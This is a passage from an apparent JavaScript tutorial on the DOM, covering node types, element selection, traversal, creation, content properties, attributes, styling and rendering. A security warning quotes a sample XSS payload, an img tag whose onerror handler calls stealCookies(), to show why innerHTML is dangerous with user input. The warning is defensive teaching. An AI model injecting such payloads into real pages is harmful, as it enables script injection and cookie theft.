adding elements, or removing them entirely.\n</Note>\n\n---\n\n## What the DOM is NOT\n\n### The DOM is NOT Your HTML Source Code\n\nHere's the key thing: your HTML file and the DOM are **different things**:\n\n<Tabs>\n  <Tab title=\"HTML Source\">\n    ```html\n    <!-- What you wrote (invalid HTML - missing head/body) -->\n    <!DOCTYPE html>\n    <html>\n    Hello, World!\n    </html>\n    ```\n  </Tab>\n  <Tab title=\"Resulting DOM\">\n    ```html\n    <!-- What the browser creates (fixed!) -->\n    <!DOCTYPE html>\n    <html>\n      <head></head>\n      <body>\n        Hello, World!\n      </body>\n    </html>\n    ```\n  </Tab>\n</Tabs>\n\nThe browser **fixes your mistakes**! It adds missing `<head>` and `<body>` tags, closes unclosed tags, and corrects nesting errors. The DOM is the corrected version. According to the HTML specification's parsing algorithm, browsers must follow specific error-recovery rules to handle malformed markup consistently across implementations.\n\n### The DOM is NOT What You See in DevTools (Exactly)\n\nDevTools shows you something close to the DOM, but it also shows **CSS pseudo-elements** (`::before`, `::after`) which are NOT part of the DOM:\n\n```css\n/* This creates visual content, but NOT DOM nodes */\n.quote::before {\n  content: '\"';\n}\n```\n\nPseudo-elements exist in the **render tree** (for display), but not in the DOM (for JavaScript). You can't select them with `querySelector`!\n\n### The DOM is NOT the Render Tree\n\nThe **Render Tree** is what actually gets painted to the screen. It excludes:\n\n```html\n<!-- These are in the DOM but NOT in the Render Tree -->\n<head>...</head>                    <!-- Never rendered -->\n<script>...</script>                <!-- Never rendered -->\n<div style=\"display: none\">Hidden</div>  <!-- Excluded from render -->\n```\n\n```\nDOM                          Render Tree\n┌─────────────────────┐     ┌─────────────────────┐\n│ <html>              │     │ <html>              │\n│   <head>            │     │   <body>            │\n│     <title>         │     │     <h1>            │\n│   <body>            │     │       \"Hello\"       │\n│     <h1>Hello</h1>  │     │     <p>             │\n│     <p>World</p>    │     │       \"World\"       │\n│     <div hidden>    │     │                     │\n│       Secret!       │     │  (no hidden div!)   │\n│     </div>          │     │                     │\n└─────────────────────┘     └─────────────────────┘\n```\n\n### The `document` Object: Your Entry Point\n\nThe **[`document`](https://developer.mozilla.org/en-US/docs/Web/API/Document)** object is your gateway to the DOM. It's automatically available in any browser JavaScript. Key properties include **[`document.documentElement`](https://developer.mozilla.org/en-US/docs/Web/API/Document/documentElement)** (the root `<html>` element), **[`document.head`](https://developer.mozilla.org/en-US/docs/Web/API/Document/head)**, **[`document.body`](https://developer.mozilla.org/en-US/docs/Web/API/Document/body)**, and **[`document.title`](https://developer.mozilla.org/en-US/docs/Web/API/Document/title)**:\n\n```javascript\n// document is the root of everything\nconsole.log(document)                    // The entire document\nconsole.log(document.documentElement)    // <html> element\nconsole.log(document.head)               // <head> element\nconsole.log(document.body)               // <body> element\nconsole.log(document.title)              // Page title (getter/setter!)\n\n// You can modify the document\ndocument.title = 'New Title'             // Changes browser tab title\n```\n\n---\n\n## DOM Node Types Explained\n\nEverything in the DOM is a **[Node](https://developer.mozilla.org/en-US/docs/Web/API/Node)**. But not all nodes are created equal!\n\n### The Node Type Hierarchy\n\n```\n                            Node (base class)\n                              │\n        ┌─────────────────────┼─────────────────────┐\n        │                     │                     │\n    Document             Element              CharacterData\n        │                     │                     │\n   HTMLDocument          ┌────┴────┐         ┌─────┴─────┐\n                         │         │         │           │\n                   HTMLElement  SVGElement  Text      Comment\n                         │\n        ┌────────────────┼────────────────┐\n        │                │                │\n  HTMLDivElement  HTMLSpanElement  HTMLInputElement\n                                        ...\n```\n\n### Node Types You'll Encounter\n\n| Node Type | `nodeType` | `nodeName` | Example |\n|-----------|------------|------------|---------|\n| [Element](https://developer.mozilla.org/en-US/docs/Web/API/Element) | `1` | Tag name (uppercase) | `<div>`, `<p>`, `<span>` |\n| [Text](https://developer.mozilla.org/en-US/docs/Web/API/Text) | `3` | `#text` | Text inside elements |\n| [Comment](https://developer.mozilla.org/en-US/docs/Web/API/Comment) | `8` | `#comment` | `<!-- comment -->` |\n| [Document](https://developer.mozilla.org/en-US/docs/Web/API/Document) | `9` | `#document` | The `document` object |\n| [DocumentFragment](https://developer.mozilla.org/en-US/docs/Web/API/DocumentFragment) | `11` | `#document-fragment` | Virtual container |\n\n```javascript\nconst div = document.createElement('div')\nconsole.log(div.nodeType)   // 1 (Element)\nconsole.log(div.nodeName)   // \"DIV\"\n\nconst text = document.createTextNode('Hello')\nconsole.log(text.nodeType)  // 3 (Text)\nconsole.log(text.nodeName)  // \"#text\"\n\nconsole.log(document.nodeType)  // 9 (Document)\nconsole.log(document.nodeName)  // \"#document\"\n```\n\nThe **[`createElement()`](https://developer.mozilla.org/en-US/docs/Web/API/Document/createElement)** and **[`createTextNode()`](https://developer.mozilla.org/en-US/docs/Web/API/Document/createTextNode)** methods create new nodes that you can add to the DOM.\n\n### Node Type Constants\n\nInstead of remembering numbers, use the constants:\n\n```javascript\nNode.ELEMENT_NODE        // 1\nNode.TEXT_NODE           // 3\nNode.COMMENT_NODE        // 8\nNode.DOCUMENT_NODE       // 9\nNode.DOCUMENT_FRAGMENT_NODE  // 11\n\n// Check if something is an element\nif (node.nodeType === Node.ELEMENT_NODE) {\n  console.log('This is an element!')\n}\n```\n\n### Visualizing a Real DOM Tree\n\nGiven this HTML:\n\n```html\n<div id=\"container\">\n  <h1>Title</h1>\n  <!-- A comment -->\n  <p>Paragraph</p>\n</div>\n```\n\nThe actual DOM tree looks like this (including text nodes from whitespace!):\n\n```\ndiv#container\n├── #text (newline + spaces)\n├── h1\n│   └── #text \"Title\"\n├── #text (newline + spaces)\n├── #comment \" A comment \"\n├── #text (newline + spaces)\n├── p\n│   └── #text \"Paragraph\"\n└── #text (newline)\n```\n\n<Warning>\n**The Whitespace Gotcha!** Line breaks and spaces between HTML tags create **text nodes**. This surprises many developers! We'll see how to handle this in the traversal section.\n</Warning>\n\n---\n\n## How to Select DOM Elements\n\nBefore you can manipulate an element, you need to find it. JavaScript provides several methods through the **[`document`](https://developer.mozilla.org/en-US/docs/Web/API/Document)** object:\n\n### The getElementById() Classic\n\nThe **[`getElementById()`](https://developer.mozilla.org/en-US/docs/Web/API/Document/getElementById)** method is the fastest way to select a single element by its unique ID:\n\n```javascript\n// HTML: <div id=\"hero\">Welcome!</div>\n\nconst hero = document.getElementById('hero')\nconsole.log(hero)        // <div id=\"hero\">Welcome!</div>\nconsole.log(hero.id)     // \"hero\"\nconsole.log(hero.textContent)  // \"Welcome!\"\n\n// Returns null if not found (not an error!)\nconst ghost = document.getElementById('nonexistent')\nconsole.log(ghost)  // null\n```\n\n<Tip>\nIDs must be unique in a document. If you have duplicate IDs, `getElementById` returns the first one. But don't do this. It's invalid HTML!\n</Tip>\n\n### getElementsByClassName() and getElementsByTagName()\n\n**[`getElementsByClassName()`](https://developer.mozilla.org/en-US/docs/Web/API/Document/getElementsByClassName)** and **[`getElementsByTagName()`](https://developer.mozilla.org/en-US/docs/Web/API/Document/getElementsByTagName)** select multiple elements by class or tag name:\n\n```javascript\n// HTML: \n// <p class=\"intro\">First</p>\n// <p class=\"intro\">Second</p>\n// <p>Third</p>\n\nconst intros = document.getElementsByClassName('intro')\nconsole.log(intros.length)      // 2\nconsole.log(intros[0])          // <p class=\"intro\">First</p>\nconsole.log(intros[0].textContent)  // \"First\"\n\nconst allParagraphs = document.getElementsByTagName('p')\nconsole.log(allParagraphs.length)  // 3\n```\n\n### The Modern Way: querySelector() and querySelectorAll()\n\n**[`querySelector()`](https://developer.mozilla.org/en-US/docs/Web/API/Document/querySelector)** and **[`querySelectorAll()`](https://developer.mozilla.org/en-US/docs/Web/API/Document/querySelectorAll)** use CSS selectors to find elements. Much more powerful!\n\n```javascript\n// querySelector returns the FIRST match (or null)\nconst firstButton = document.querySelector('button')      // First <button> element\nconst submitBtn = document.querySelector('#submit')       // Element with id=\"submit\"\nconst firstCard = document.querySelector('.card')         // First element with class=\"card\"\nconst navLink = document.querySelector('nav a.active')    // <a class=\"active\"> inside <nav>\nconst dataItem = document.querySelector('[data-id=\"123\"]')  // Element with data-id=\"123\"\n\n// querySelectorAll returns ALL matches (NodeList)\nconst allButtons = document.querySelectorAll('button')    // All <button> elements\nconst allCards = document.querySelectorAll('.card')       // All elements with class=\"card\"\nconst evenRows = document.querySelectorAll('tr:nth-child(even)')  // Every even table row\n```\n\n### Selector Examples\n\n```javascript\n// By ID\ndocument.querySelector('#main')\n\n// By class\ndocument.querySelector('.active')\ndocument.querySelectorAll('.btn.primary')\n\n// By tag\ndocument.querySelector('header')\ndocument.querySelectorAll('li')\n\n// By attribute\ndocument.querySelector('[type=\"submit\"]')\ndocument.querySelector('[data-modal=\"login\"]')\n\n// Descendant selectors\ndocument.querySelector('nav ul li a')\ndocument.querySelector('.sidebar .widget:first-child')\n\n// Pseudo-selectors (limited support)\ndocument.querySelectorAll('input:not([type=\"hidden\"])')\ndocument.querySelector('p:first-of-type')\n```\n\n### Live vs Static Collections\n\nThis difference trips up many developers. **[`getElementsByClassName()`](https://developer.mozilla.org/en-US/docs/Web/API/Document/getElementsByClassName)** returns a live **[HTMLCollection](https://developer.mozilla.org/en-US/docs/Web/API/HTMLCollection)**, while **[`querySelectorAll()`](https://developer.mozilla.org/en-US/docs/Web/API/Document/querySelectorAll)** returns a static **[NodeList](https://developer.mozilla.org/en-US/docs/Web/API/NodeList)**:\n\n```javascript\nconst liveList = document.getElementsByClassName('item')    // LIVE HTMLCollection\nconst staticList = document.querySelectorAll('.item')       // STATIC NodeList\n\n// Start with 3 items\nconsole.log(liveList.length)    // 3\nconsole.log(staticList.length)  // 3\n\n// Add a new item to the DOM\nconst newItem = document.createElement('div')\nnewItem.className = 'item'\ndocument.body.appendChild(newItem)\n\n// Check lengths again\nconsole.log(liveList.length)    // 4 (automatically updated!)\nconsole.log(staticList.length)  // 3 (still the old snapshot)\n```\n\n| Method | Returns | Live? |\n|--------|---------|-------|\n| `getElementById()` | Element or null | N/A |\n| `getElementsByClassName()` | HTMLCollection | **Yes** (live) |\n| `getElementsByTagName()` | HTMLCollection | **Yes** (live) |\n| `querySelector()` | Element or null | N/A |\n| `querySelectorAll()` | NodeList | **No** (static) |\n\n### Scoped Selection\n\nYou can call selection methods on any element, not just `document`:\n\n```javascript\nconst nav = document.querySelector('nav')\n\n// Find links ONLY inside nav\nconst navLinks = nav.querySelectorAll('a')\n\n// Find the active link inside nav\nconst activeLink = nav.querySelector('.active')\n```\n\nThis is faster than searching the entire document and helps avoid selecting unintended elements.\n\n### Performance Comparison\n\n<AccordionGroup>\n  <Accordion title=\"Which selector method is fastest?\">\n    In order of speed (fastest first):\n    \n    1. **`getElementById()`** - Direct hashtable lookup, O(1)\n    2. **`getElementsByClassName()`** - Optimized internal lookup\n    3. **`getElementsByTagName()`** - Optimized internal lookup\n    4. **`querySelector()`** - Must parse CSS selector\n    5. **`querySelectorAll()`** - Must parse and find all matches\n    \n    However, for most applications, **the difference is negligible**. Use `querySelector/querySelectorAll` for readability unless you're selecting thousands of elements in a loop.\n    \n    ```javascript\n    // Premature optimization - don't do this\n    const el1 = document.getElementById('myId')\n    \n    // This is fine and more readable\n    const el2 = document.querySelector('#myId')\n    ```\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## How to Traverse the DOM\n\nOnce you have an element, you can navigate to related elements without querying the entire document.\n\n### Traversing Downwards (To Children)\n\n```javascript\nconst ul = document.querySelector('ul')\n\n// Get ALL child nodes (including text nodes!)\nconst allChildNodes = ul.childNodes      // NodeList\n\n// Get only ELEMENT children (usually what you want)\nconst elementChildren = ul.children       // HTMLCollection\n\n// Get specific children\nconst firstChild = ul.firstChild          // First node (might be text!)\nconst firstElement = ul.firstElementChild // First ELEMENT child\nconst lastChild = ul.lastChild            // Last node\nconst lastElement = ul.lastElementChild   // Last ELEMENT child\n```\n\n<Warning>\n**The Text Node Trap!** Look at this HTML:\n\n```html\n<ul>\n  <li>One</li>\n  <li>Two</li>\n</ul>\n```\n\nWhat is `ul.firstChild`? It's NOT the first `<li>`! It's a **text node** containing the newline and spaces after `<ul>`. Use `firstElementChild` to get the actual `<li>` element.\n</Warning>\n\n### Traversing Upwards (To Parents)\n\n```javascript\nconst li = document.querySelector('li')\n\n// Direct parent\nconst parent = li.parentNode        // Usually same as parentElement\nconst parentEl = li.parentElement   // Guaranteed to be an Element (or null)\n\n// Find ancestor matching selector (very useful!)\nconst form = li.closest('form')     // Finds nearest ancestor <form>\nconst card = li.closest('.card')    // Finds nearest ancestor with class \"card\"\n\n// closest() includes the element itself\nconst self = li.closest('li')       // Returns li itself if it matches!\n```\n\nThe **[`closest()`](https://developer.mozilla.org/en-US/docs/Web/API/Element/closest)** method is useful for event delegation (see [Event Loop](/concepts/event-loop) for how events are processed):\n\n```javascript\n// Handle clicks on any button inside a card\ndocument.addEventListener('click', (e) => {\n  const card = e.target.closest('.card')\n  if (card) {\n    console.log('Clicked inside card:', card)\n  }\n})\n```\n\n### Traversing Sideways (To Siblings)\n\n```javascript\nconst secondLi = document.querySelectorAll('li')[1]\n\n// Previous/next nodes (might be text!)\nconst prevNode = secondLi.previousSibling\nconst nextNode = secondLi.nextSibling\n\n// Previous/next ELEMENTS (usually what you want)\nconst prevElement = secondLi.previousElementSibling\nconst nextElement = secondLi.nextElementSibling\n\n// Returns null at the boundaries\nconst firstLi = document.querySelector('li')\nconsole.log(firstLi.previousElementSibling)  // null (no previous sibling)\n```\n\n### Node vs Element Properties Cheat Sheet\n\n| Get... | Node Property (includes text) | Element Property (elements only) |\n|--------|-------------------------------|----------------------------------|\n| Parent | `parentNode` | `parentElement` |\n| Children | `childNodes` | `children` |\n| First child | `firstChild` | `firstElementChild` |\n| Last child | `lastChild` | `lastElementChild` |\n| Previous sibling | `previousSibling` | `previousElementSibling` |\n| Next sibling | `nextSibling` | `nextElementSibling` |\n\n<Tip>\n**Rule of thumb:** Unless you specifically need text nodes, always use the Element variants (`children`, `firstElementChild`, `nextElementSibling`, etc.)\n</Tip>\n\n### Practical Example: Building a Breadcrumb Trail\n\n```javascript\n// Get all ancestors of an element\nfunction getAncestors(element) {\n  const ancestors = []\n  let current = element.parentElement\n  \n  while (current && current !== document.body) {\n    ancestors.push(current)\n    current = current.parentElement\n  }\n  \n  return ancestors\n}\n\nconst deepElement = document.querySelector('.deeply-nested')\nconsole.log(getAncestors(deepElement))\n// [<div.parent>, <section>, <main>, ...]\n```\n\n---\n\n## Creating and Manipulating Elements\n\nThe real power of the DOM is the ability to create, modify, and remove elements dynamically.\n\n### Creating Elements\n\nUse **[`createElement()`](https://developer.mozilla.org/en-US/docs/Web/API/Document/createElement)** to create new elements and **[`createTextNode()`](https://developer.mozilla.org/en-US/docs/Web/API/Document/createTextNode)** to create text nodes:\n\n```javascript\n// Create a new element\nconst div = document.createElement('div')\nconst span = document.createElement('span')\nconst img = document.createElement('img')\n\n// Create a text node\nconst text = document.createTextNode('Hello, world!')\n\n// Create a comment node\nconst comment = document.createComment('This is a comment')\n\n// Elements are created \"detached\" - not yet in the DOM!\nconsole.log(div.parentNode)  // null\n```\n\n### Adding Elements to the DOM\n\nThere are many ways to add elements. Here's a comprehensive overview using methods like **[`appendChild()`](https://developer.mozilla.org/en-US/docs/Web/API/Node/appendChild)**, **[`insertBefore()`](https://developer.mozilla.org/en-US/docs/Web/API/Node/insertBefore)**, **[`append()`](https://developer.mozilla.org/en-US/docs/Web/API/Element/append)**, and **[`prepend()`](https://developer.mozilla.org/en-US/docs/Web/API/Element/prepend)**:\n\n<Tabs>\n  <Tab title=\"appendChild()\">\n    Adds a node as the **last child** of a parent:\n    \n    ```javascript\n    const ul = document.querySelector('ul')\n    const li = document.createElement('li')\n    li.textContent = 'New item'\n    \n    ul.appendChild(li)\n    // <ul>\n    //   <li>Existing</li>\n    //   <li>New item</li>  ← Added at the end\n    // </ul>\n    ```\n  </Tab>\n  <Tab title=\"insertBefore()\">\n    Inserts a node **before** a reference node:\n    \n    ```javascript\n    const ul = document.querySelector('ul')\n    const existingLi = ul.querySelector('li')\n    const newLi = document.createElement('li')\n    newLi.textContent = 'First!'\n    \n    ul.insertBefore(newLi, existingLi)\n    // <ul>\n    //   <li>First!</li>    ← Inserted before\n    //   <li>Existing</li>\n    // </ul>\n    ```\n  </Tab>\n  <Tab title=\"append() / prepend()\">\n    Modern methods that accept multiple nodes AND strings:\n    \n    ```javascript\n    const div = document.querySelector('div')\n    \n    // append() - adds to the END\n    div.append('Text', document.createElement('span'), 'More text')\n    \n    // prepend() - adds to the START\n    div.prepend(document.createElement('strong'))\n    ```\n  </Tab>\n  <Tab title=\"before() / after()\">\n    Insert as siblings (not children):\n    \n    ```javascript\n    const h1 = document.querySelector('h1')\n    \n    // Insert BEFORE h1 (as previous sibling)\n    h1.before(document.createElement('nav'))\n    \n    // Insert AFTER h1 (as next sibling)\n    h1.after(document.createElement('p'))\n    ```\n  </Tab>\n</Tabs>\n\n### insertAdjacentHTML() - The Swiss Army Knife\n\nFor inserting HTML strings, **[`insertAdjacentHTML()`](https://developer.mozilla.org/en-US/docs/Web/API/Element/insertAdjacentHTML)** is powerful and fast:\n\n```javascript\nconst div = document.querySelector('div')\n\n// Four positions to insert:\ndiv.insertAdjacentHTML('beforebegin', '<p>Before div</p>')\ndiv.insertAdjacentHTML('afterbegin', '<p>First child of div</p>')\ndiv.insertAdjacentHTML('beforeend', '<p>Last child of div</p>')\ndiv.insertAdjacentHTML('afterend', '<p>After div</p>')\n```\n\nVisual representation:\n\n```html\n<!-- beforebegin -->\n<div>\n  <!-- afterbegin -->\n  existing content\n  <!-- beforeend -->\n</div>\n<!-- afterend -->\n```\n\n### Removing Elements\n\n<Tabs>\n  <Tab title=\"remove()\">\n    Modern and simple. Element removes itself:\n    \n    ```javascript\n    const element = document.querySelector('.to-remove')\n    element.remove()  // Gone!\n    ```\n  </Tab>\n  <Tab title=\"removeChild()\">\n    Classic method. Remove via parent:\n    \n    ```javascript\n    const parent = document.querySelector('ul')\n    const child = parent.querySelector('li')\n    parent.removeChild(child)\n    \n    // Or remove from any element\n    element.parentNode.removeChild(element)\n    ```\n  </Tab>\n</Tabs>\n\n### Cloning Elements\n\nUse **[`cloneNode()`](https://developer.mozilla.org/en-US/docs/Web/API/Node/cloneNode)** to duplicate elements:\n\n```javascript\nconst original = document.querySelector('.card')\n\n// Shallow clone (element only, no children)\nconst shallow = original.cloneNode(false)\n\n// Deep clone (element AND all descendants)\nconst deep = original.cloneNode(true)\n\n// Clones are detached - must add to DOM\ndocument.body.appendChild(deep)\n```\n\n<Warning>\n**ID Collision!** If you clone an element with an ID, you'll have duplicate IDs in your document (invalid HTML). Remove or change the ID after cloning:\n\n```javascript\nconst clone = original.cloneNode(true)\nclone.id = ''  // Remove ID\n// or\nclone.id = 'new-unique-id'\n```\n</Warning>\n\n### DocumentFragment - Batch Operations\n\nWhen adding many elements, using a **[`DocumentFragment`](https://developer.mozilla.org/en-US/docs/Web/API/DocumentFragment)** is more efficient:\n\n```javascript\n// Bad: Multiple DOM updates (potentially multiple reflows)\nconst ul = document.querySelector('ul')\nfor (let i = 0; i < 1000; i++) {\n  const li = document.createElement('li')\n  li.textContent = `Item ${i}`\n  ul.appendChild(li)  // Modifies live DOM each iteration\n}\n\n// Good: Single DOM update\nconst ul = document.querySelector('ul')\nconst fragment = document.createDocumentFragment()\n\nfor (let i = 0; i < 1000; i++) {\n  const li = document.createElement('li')\n  li.textContent = `Item ${i}`\n  fragment.appendChild(li)  // No DOM update (fragment is detached)\n}\n\nul.appendChild(fragment)  // Single DOM update!\n```\n\nA `DocumentFragment` is a lightweight container that:\n- Is not part of the DOM tree\n- Has no parent\n- When appended, only its **children** are inserted (the fragment itself disappears)\n\n<Note>\n**Modern browser optimization:** Browsers may batch consecutive DOM modifications and perform a single reflow. However, using DocumentFragment is still the recommended pattern because it's explicit, works consistently across all browsers, and avoids any risk of forced synchronous layouts if you read layout properties between writes.\n</Note>\n\n---\n\n## Modifying Content\n\nThree properties let you read and write element content: **[`innerHTML`](https://developer.mozilla.org/en-US/docs/Web/API/Element/innerHTML)**, **[`textContent`](https://developer.mozilla.org/en-US/docs/Web/API/Node/textContent)**, and **[`innerText`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/innerText)**.\n\n### innerHTML - Parse and Insert HTML\n\n```javascript\nconst div = document.querySelector('div')\n\n// Read HTML content\nconsole.log(div.innerHTML)  // \"<p>Hello</p><span>World</span>\"\n\n// Write HTML content (parses the string!)\ndiv.innerHTML = '<h1>New Title</h1><p>New paragraph</p>'\n\n// Clear all content\ndiv.innerHTML = ''\n```\n\n<Warning>\n**Security Alert: XSS Vulnerability!**\n\nNever use `innerHTML` with user-provided content:\n\n```javascript\n// DANGEROUS! User could inject: <img src=x onerror=\"stealCookies()\">\ndiv.innerHTML = userInput  // NO!\n\n// Safe alternatives:\ndiv.textContent = userInput  // Escapes HTML\n// or sanitize the input first\n```\n</Warning>\n\n### textContent - Plain Text Only\n\n```javascript\nconst div = document.querySelector('div')\n\n// Read text (ignores HTML tags)\n// <div><p>Hello</p><span>World</span></div>\nconsole.log(div.textContent)  // \"HelloWorld\"\n\n// Write text (HTML is escaped, not parsed)\ndiv.textContent = '<script>alert(\"XSS\")</script>'\n// Displays literally: <script>alert(\"XSS\")</script>\n// Safe from XSS!\n```\n\n### innerText - Rendered Text\n\n```javascript\nconst div = document.querySelector('div')\n\n// innerText respects CSS visibility\n// <div>Hello <span style=\"display:none\">Hidden</span> World</div>\n\nconsole.log(div.textContent)  // \"Hello Hidden World\"\nconsole.log(div.innerText)    // \"Hello  World\" (Hidden is excluded!)\n```\n\n### When to Use Each\n\n| Property | Use Case |\n|----------|----------|\n| `innerHTML` | Inserting trusted HTML (never user input!) |\n| `textContent` | Setting/getting plain text (safe, fast) |\n| `innerText` | Getting text as user sees it (slower, respects CSS) |\n\n```javascript\n// Performance: textContent is faster than innerText\n// because innerText must calculate styles\n\n// Setting text content (both work, textContent is faster)\nelement.textContent = 'Hello'  // Preferred\nelement.innerText = 'Hello'    // Works but slower\n```\n\n---\n\n## How to Work with DOM Attributes\n\nHTML elements have attributes. JavaScript lets you read, write, and remove them using **[`getAttribute()`](https://developer.mozilla.org/en-US/docs/Web/API/Element/getAttribute)**, **[`setAttribute()`](https://developer.mozilla.org/en-US/docs/Web/API/Element/setAttribute)**, **[`hasAttribute()`](https://developer.mozilla.org/en-US/docs/Web/API/Element/hasAttribute)**, and **[`removeAttribute()`](https://developer.mozilla.org/en-US/docs/Web/API/Element/removeAttribute)**.\n\n### Standard Attribute Methods\n\n```javascript\nconst link = document.querySelector('a')\n\n// Get attribute value\nconst href = link.getAttribute('href')\nconst target = link.getAttribute('target')\n\n// Set attribute value\nlink.setAttribute('href', 'https://example.com')\nlink.setAttribute('target', '_blank')\n\n// Check if attribute exists\nif (link.hasAttribute('target')) {\n  console.log('Link opens in new tab')\n}\n\n// Remove attribute\nlink.removeAttribute('target')\n```\n\n### Properties vs Attributes: The Difference\n\nThis confuses many developers! **Attributes** are in the HTML. **Properties** are on the DOM object.\n\n```html\n<input type=\"text\" value=\"initial\">\n```\n\n```javascript\nconst input = document.querySelector('input')\n\n// ATTRIBUTE: The original HTML value\nconsole.log(input.getAttribute('value'))  // \"initial\"\n\n// PROPERTY: The current state\nconsole.log(input.value)  // \"initial\"\n\n// User types \"new text\"...\nconsole.log(input.getAttribute('value'))  // Still \"initial\"!\nconsole.log(input.value)                  // \"new text\"\n\n// Reset to attribute value\ninput.value = input.getAttribute('value')\n```\n\nKey differences:\n\n| Aspect | Attribute | Property |\n|--------|-----------|----------|\n| Source | HTML markup | DOM object |\n| Access | `get/setAttribute()` | Direct property access |\n| Updates | Manual only | Automatically with user interaction |\n| Type | Always string | Can be any type |\n\n```javascript\n// Attribute is always a string\ncheckbox.getAttribute('checked')  // \"\" or null\n\n// Property is a boolean\ncheckbox.checked  // true or false\n\n// Attribute (string)\ninput.getAttribute('maxlength')  // \"10\"\n\n// Property (number)\ninput.maxLength  // 10\n```\n\n### Data Attributes and the dataset API\n\nCustom data attributes start with `data-` and are accessible via the **[`dataset`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/dataset)** property:\n\n```html\n<div id=\"user\" \n     data-user-id=\"123\" \n     data-role=\"admin\"\n     data-is-active=\"true\">\n  John Doe\n</div>\n```\n\n```javascript\nconst user = document.querySelector('#user')\n\n// Read data attributes (camelCase!)\nconsole.log(user.dataset.userId)    // \"123\"\nconsole.log(user.dataset.role)      // \"admin\"\nconsole.log(user.dataset.isActive)  // \"true\" (string, not boolean!)\n\n// Write data attributes\nuser.dataset.lastLogin = '2024-01-15'\n// Creates: data-last-login=\"2024-01-15\"\n\n// Delete data attributes\ndelete user.dataset.role\n\n// Check if exists\nif ('userId' in user.dataset) {\n  console.log('Has user ID')\n}\n```\n\n<Tip>\n**Naming Convention:** HTML uses `kebab-case` (`data-user-id`), JavaScript uses `camelCase` (`dataset.userId`). The conversion is automatic!\n</Tip>\n\n### Common Attribute Shortcuts\n\nMany attributes have direct property shortcuts:\n\n```javascript\n// These pairs are equivalent:\nelement.id                    // element.getAttribute('id')\nelement.className             // element.getAttribute('class')\nelement.href                  // element.getAttribute('href')\nelement.src                   // element.getAttribute('src')\nelement.title                 // element.getAttribute('title')\n\n// For class manipulation, use classList (covered next)\n```\n\n---\n\n## How to Style DOM Elements with JavaScript\n\nJavaScript can modify element styles in several ways using the **[`style`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/style)** property and **[`classList`](https://developer.mozilla.org/en-US/docs/Web/API/Element/classList)** API.\n\n### The style Property (Inline Styles)\n\n```javascript\nconst box = document.querySelector('.box')\n\n// Set individual styles (camelCase!)\nbox.style.backgroundColor = 'blue'\nbox.style.fontSize = '20px'\nbox.style.marginTop = '10px'\n\n// Read styles (only reads INLINE styles!)\nconsole.log(box.style.backgroundColor)  // \"blue\"\nconsole.log(box.style.color)            // \"\" (not inline, from stylesheet)\n\n// Set multiple styles at once\nbox.style.cssText = 'background: red; font-size: 16px; padding: 10px;'\n\n// Remove an inline style\nbox.style.backgroundColor = ''  // Removes the style\n```\n\n<Warning>\n`element.style` only reads/writes **inline** styles! To get computed styles (from stylesheets), use `getComputedStyle()`.\n</Warning>\n\n### getComputedStyle() - Read Actual Styles\n\nUse **[`getComputedStyle()`](https://developer.mozilla.org/en-US/docs/Web/API/Window/getComputedStyle)** to read the final computed styles:\n\n```javascript\nconst box = document.querySelector('.box')\n\n// Get all computed styles\nconst styles = getComputedStyle(box)\n\nconsole.log(styles.backgroundColor)  // \"rgb(0, 0, 255)\"\nconsole.log(styles.fontSize)         // \"16px\"\nconsole.log(styles.display)          // \"block\"\n\n// Get pseudo-element styles\nconst beforeStyles = getComputedStyle(box, '::before')\nconsole.log(beforeStyles.content)    // '\"Hello\"'\n```\n\n### classList - Manipulate CSS Classes\n\nThe **[`classList`](https://developer.mozilla.org/en-US/docs/Web/API/Element/classList)** API is the modern way to add/remove/toggle classes:\n\n```javascript\nconst button = document.querySelector('button')\n\n// Add classes\nbutton.classList.add('active')\nbutton.classList.add('btn', 'btn-primary')  // Multiple at once\n\n// Remove classes\nbutton.classList.remove('active')\nbutton.classList.remove('btn', 'btn-primary')  // Multiple at once\n\n// Toggle (add if missing, remove if present)\nbutton.classList.toggle('active')\n\n// Toggle with condition\nbutton.classList.toggle('active', isActive)  // Add if isActive is true\n\n// Check if class exists\nif (button.classList.contains('active')) {\n  console.log('Button is active')\n}\n\n// Replace a class\nbutton.classList.replace('btn-primary', 'btn-secondary')\n\n// Iterate over classes\nbutton.classList.forEach(cls => console.log(cls))\n\n// Get number of classes\nconsole.log(button.classList.length)  // 2\n```\n\n### className vs classList\n\n```javascript\n// className is a string (old way)\nelement.className = 'btn btn-primary'     // Replaces ALL classes\nelement.className += ' active'            // Appending is clunky\n\n// classList is a DOMTokenList (modern way)\nelement.classList.add('active')           // Adds without affecting others\nelement.classList.remove('btn-primary')   // Removes specifically\n```\n\n---\n\n## How Browsers Render the DOM to Pixels\n\nUnderstanding how browsers render pages helps you write performant code. This is where [JavaScript Engines](/concepts/javascript-engines) and the browser's rendering engine work together.\n\n### From HTML to Pixels\n\nWhen you load a webpage, the browser goes through these steps:\n\n<Steps>\n  <Step title=\"1. Parse HTML → Build DOM\">\n    Browser reads HTML bytes and constructs the Document Object Model tree.\n  </Step>\n  <Step title=\"2. Parse CSS → Build CSSOM\">\n    CSS is parsed into the CSS Object Model with styling rules.\n  </Step>\n  <Step title=\"3. Combine → Render Tree\">\n    DOM + CSSOM merge into the Render Tree (only visible elements).\n  </Step>\n  <Step title=\"4. Layout (Reflow)\">\n    Calculate exact position and size of every element.\n  </Step>\n  <Step title=\"5. Paint\">\n    Fill in pixels: colors, borders, shadows, text.\n  </Step>\n  <Step title=\"6. Composite\">\n    Combine layers into the final image using the GPU.\n  </Step>\n</Steps>\n\n```\n┌─────────────────────────────────────────────────────────────────────────────┐\n│                     THE CRITICAL RENDERING PATH                              │\n│                                                                              │\n│  1. PARSE HTML          2. PARSE CSS           3. BUILD RENDER TREE         │\n│  ┌──────────────┐      ┌──────────────┐       ┌──────────────────────┐      │\n│  │  HTML bytes  │      │  CSS bytes   │       │  DOM    +   CSSOM    │      │\n│  │      ↓       │      │      ↓       │       │    ↘     ↙           │      │\n│  │  Characters  │      │  Characters  │       │   RENDER TREE        │      │\n│  │      ↓       │      │      ↓       │       │  (visible elements   │      │\n│  │   Tokens     │      │   Tokens     │       │   + their styles)    │      │\n│  │      ↓       │      │      ↓       │       └──────────────────────┘      │\n│  │    Nodes     │      │    Rules     │                  │                  │\n│  │      ↓       │      │      ↓       │                  ▼                  │\n│  │    DOM       │      │   CSSOM      │       4. LAYOUT (Reflow)            │\n│  └──────────────┘      